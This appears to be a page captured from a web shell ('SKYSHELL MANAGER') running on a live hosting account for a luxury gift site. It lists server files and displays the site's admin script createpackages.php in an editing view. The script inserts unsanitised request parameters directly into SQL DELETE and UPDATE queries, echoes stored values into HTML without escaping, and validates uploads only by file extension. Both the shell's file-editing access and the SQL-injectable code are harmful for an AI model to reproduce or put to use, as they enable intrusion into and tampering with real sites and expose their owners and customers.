ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Current Path: home/oshofree/public_html/chbluxuries.com/chb_data/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📄 config.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 error_log	11814.28 KB	0644	🗑️ ⬇️ ✏️

Editing: createpackages.php

<?php include "header.php";

/// Delete
if(isset($_GET['categoryid'])){
    $service_delete = $_GET['categoryid'];
    $del = mysqli_query($con,"DELETE from gift_packages where s='$service_delete'") or die ('Could not connect: ' .mysqli_error($con)); 
    echo "<script>alert('Package Deleted Successfully!'); window.location.href = 'createpackages.php';</script>";
    exit(); // Make sure to exit the script after the alert
}

//Update Store
if (isset($_POST['update_store'])){
$id= $_POST['id']; 
$name=$_POST['name'];
$price=$_POST['price'];
$selectedSections = $_POST['sections'];
$commaSeparatedSections = implode(',', $selectedSections);
$fileName = basename($_FILES["file"]["name"]);

// File upload path
$targetDir = "../giftpackage/";
$fileName = basename($_FILES["file"]["name"]);
$targetFilePath = $targetDir . $fileName;
$fileType = pathinfo($targetFilePath,PATHINFO_EXTENSION);

if(isset($_POST["update_store"]) && !empty($_FILES["file"]["name"])){
    // Allow certain file formats
    $allowTypes = array('jpg','png','jpeg','gif','pdf');
    if(in_array($fileType, $allowTypes)){
        // Upload file to server
        if(move_uploaded_file($_FILES["file"]["tmp_name"], $targetFilePath)){
            // Insert image file name into database
            $insert = mysqli_query($con,"INSERT into images (file_name,input,uploaded_on) VALUES ('".$fileName."','staff', NOW())");
            $insert = mysqli_query($con,"UPDATE gift_packages SET picture='".$fileName."' where s='$id'") or die ('Could not connect: ' .mysqli_error($con)); 
            if($insert){
                $statusMsg = "The file ".$fileName. " has been uploaded successfully.";
            }else{
                $statusMsg = "File upload failed, please try again.";
            } 
        }else{
            $statusMsg = "Sorry, there was an error uploading your file.";
        }
    }else{
        $statusMsg = 'Sorry, only JPG, JPEG, PNG, GIF, & PDF files are allowed to upload.';
    }
}else{
    $statusMsg = 'Please select a file to upload.';
}

$insert = mysqli_query($con,"UPDATE gift_packages SET name='$name' where s='$id'") or die ('Could not connect: ' .mysqli_error($con));
$insert = mysqli_query($con,"UPDATE gift_packages SET price='$price' where s='$id'") or die ('Could not connect: ' .mysqli_error($con));
$insert = mysqli_query($con,"UPDATE gift_packages SET services='$commaSeparatedSections' where s='$id'") or die ('Could not connect: ' .mysqli_error($con));
echo "<script>alert('Package Details Updated Successfully!'); window.location.href = 'createpackages.php';</script>";
}

<div class="d-sm-flex align-items-center justify-content-between mb-4">
            <h1 class="h5 mb-0 text-gray-800">Gift Packages</h1>
            <ol class="breadcrumb">
              <li class="breadcrumb-item"><a href="dashboard.php">Home</a></li>
              <li class="breadcrumb-item active" aria-current="page">Vouchers</li>
            </ol>
          </div>
          
           
          <div class="row">          
          
<div class="col-lg-12">
	<script type="text/javascript">
   function showMeal() {
    if (document.getElementById('formMeal').style.display == 'none') {
      // clock is visible. hide it
      document.getElementById('formMeal').style.display = 'block';
     }
     
    else {
      // clock is hidden. show it
     document.getElementById('formMeal').style.display = 'none';
     }}
</script>
<?php include "addvoucher.php"; ?>
<p><button onClick="showMeal()"class="btn btn-warning" >Add New Package</button></p>

<div class="arizona" id="formMeal" style="display:none;">
<form enctype="multipart/form-data" method="post" style="width:100%; margin:auto; text-align:left;">
<input type="text" class="form-control" name="name" placeholder="*Name" required /><br />
<input type="number" class="form-control" name="price" placeholder="*Cost Price" required /><br />
<div class="form-group"><label>Add Services</label>
<select class="select2-multiple form-control" name="sections[]" multiple="multiple" id="select2Multiple" style="width:100%;">
<?php 
$sql = "select id,name from services";
$sql2 = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($sql2)) {
echo'<option value="'.$row['id'].'">'.$row['name'].'</option>';
}?></select></div><br />
<input type="file" class="form-control" name="file" required /><br />
<input type='submit' name='register' value='Register Package' class='btn btn-primary w-100' ></form>	
</div></div>
          
          
           
           
           
           
           
           
           
           
           
           
           
           
           
            
            <div class="col-lg-12" style="margin-top:2%; font-size:14px; font-weight:700;">
              <div class="card mb-4">
                <div class="card-header py-3 d-flex flex-row align-items-center justify-content-between">
                  <h6 class="m-0 font-weight-bold text-primary">All Package</h6>
                </div>
                <div class="table-responsive p-3">
                  <table class="table align-items-center table-flush text-primary" id="dataTable">
                    <thead class="thead-light">
                      <tr>
                        <th>Name</th>
                        <th>Price</th>
                        <th>Services</th>
                        <th></th>
                        <th></th>
                      </tr>
                    </thead>
                    <tfoot>
                      <tr>
                      <th>Name</th>
                        <th>Price</th>
                        <th>Services</th>
                        <th></th>
                        <th></th>
                      </tr>
                    </tfoot>
                    <tbody>
                        <?php
$sql = "SELECT * from gift_packages ORDER BY s ASC";
$sql2 = mysqli_query($con,$sql);
while ($row = mysqli_fetch_array($sql2)) {
$categories = explode(',', $row['services']);

$categoryNames = array();

foreach ($categories as $value) {
    $sq = "SELECT * FROM services WHERE id = '" . $value . "'";
    $sq2 = mysqli_query($con, $sq);
    
    while ($rom = mysqli_fetch_array($sq2)) {
        $categoryname = $rom['name'];
        // Add each category name to the array
        $categoryNames[] = $categoryname;
    }}

echo "
                         <tr>
                         <td>".$row['name']."</td>
                         <td>&#8358;".$row['price']."</td><td>";
                         
                  
                    echo implode(', ', $categoryNames) ;
                    
                         
                         
                         echo"</td>
                         <td> <button type='button'  data-toggle='modal' data-target='#modal".$row['s']."' class='btn btn-sm btn-primary'>Edit</button></td>
                         <td><form action='' method='get' onsubmit='return confirm(\"Are you sure you want to delete this package (".$row['name'].")?\");'>
		                <input type='text' name='categoryid' value='" . $row['s'] . "' required hidden>  
                        <input type='submit' name='delete' value='Delete' class='btn btn-sm btn-danger' ></form></td>
                        </tr>";

echo'	<div class="modal fade" id="modal'.$row['s'].'" tabindex="-1">
                <div class="modal-dialog modal-dialog-scrollable  modal-dialog-centered">
                <div class="modal-content">
				<div class="modal-header">
				<h6 style="color:black;">Edit Package</h6>
				</div>
                <div class="modal-body">
                  <form id="form" name="form" action="" enctype="multipart/form-data" method="post"> 
                      <div class="row mb-3">
                      <div class="col-md-12">
                          
                          
                   <p><input type="text" name="name" class="form-control" value="'.$row['name'].'" placeholder="Name" required></p>
                   <p><input type="text" name="price" class="form-control" value="'.$row['price'].'" placeholder="Cost Price" required></p>
                    <p><select class="select2-multiple form-control" name="sections[]" multiple="multiple" style="width:100%;">
                   <option value="">- Select Category -</option>';

$sqb = "SELECT id, name FROM services";
$sqb2 = mysqli_query($con, $sqb);
while ($rows = mysqli_fetch_array($sqb2)) {
$selected = (in_array($rows['id'], $categories)) ? 'selected' : ''; // Check if the current value is in the selectedValues array
echo '<option value="' . $rows['id'] . '" ' . $selected . '>' . $rows['name'] . '</option>';
}echo '</select>';                   
                   
                   
                   echo'</p>
                   <p><label>Add New File</label><input type="file" class="form-control" name="file" /></p>
                   <p><input type="hidden" name="id" class="form-control" value="'.$row['s'].'" placeholder="Advert Text" required></p>
                    
                    
                    
                      </div>
					  <div class="modal-footer">
					  <input id="submit" name="update_store" class="btn btn-sm btn-primary shadow-sm w-100" type="submit" value="Update Details"></form>
                    </div>
                  </div>
                </div></div>
               </div>';

$i++;
}
?> 
                      
                    </tbody>
                  </table>
                </div>
              </div>
            </div>
          
          
          
          
<?php include "footer.php"; ?>

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v7.4.33

Editing: createpackages.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v7.4.33